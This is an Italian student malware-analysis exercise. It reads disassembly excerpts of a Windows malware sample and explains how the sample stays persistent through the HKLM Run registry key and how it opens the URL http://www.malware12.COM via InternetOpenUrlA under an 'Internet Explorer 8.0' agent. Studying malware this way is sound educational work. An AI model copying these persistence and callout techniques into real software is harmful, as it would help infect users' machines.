

# Windows malware



MATTIA PASTORELLI

# COMANDA:

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

```
0040286F  push    2          ; samDesired
00402871  push    eax        ; ulOptions
00402872  push    offset SubKey  ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
```

```
004028A1  lea     ecx, [esp+454h+lpValueName]
004028A8  push   ecx          ; lpValueName
004028A9  push   edx          ; hKey
004028AA  call   ds:RegSetValueExW
```

Il malware chiama la funzione :” RegOpenKeyExW” per aprire la chiave di registro utilizzata per avviare automaticamente i programmi all'avvio di windows.  
Attraverso “RegSetValueExW” imposta un valore in questa chiave al fine di avviare il malware all'avvio del sistema operativo.

- Identificare il client software utilizzato dal malware per la connessione ad Internet

```
push    , dwAccessType
push    offset szAgent ; "Internet Explorer 8.0"
call   ds:InternetOpenA
mov    edi, ds:InternetOpenUrlA
```

Il client software utilizzato dal malware è Internet Explorer 8.0

- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
push    offset szUrl     ; "http://www.malware12.COM
push    esi             ; hInternet
call    edi             ; InternetOpenUrlA
jmp     short loc_40116D
```

Attraverso la chiamata “InternetOpenUrlA” il malware apre l’URL specificato : <http://www.malware12.COM>.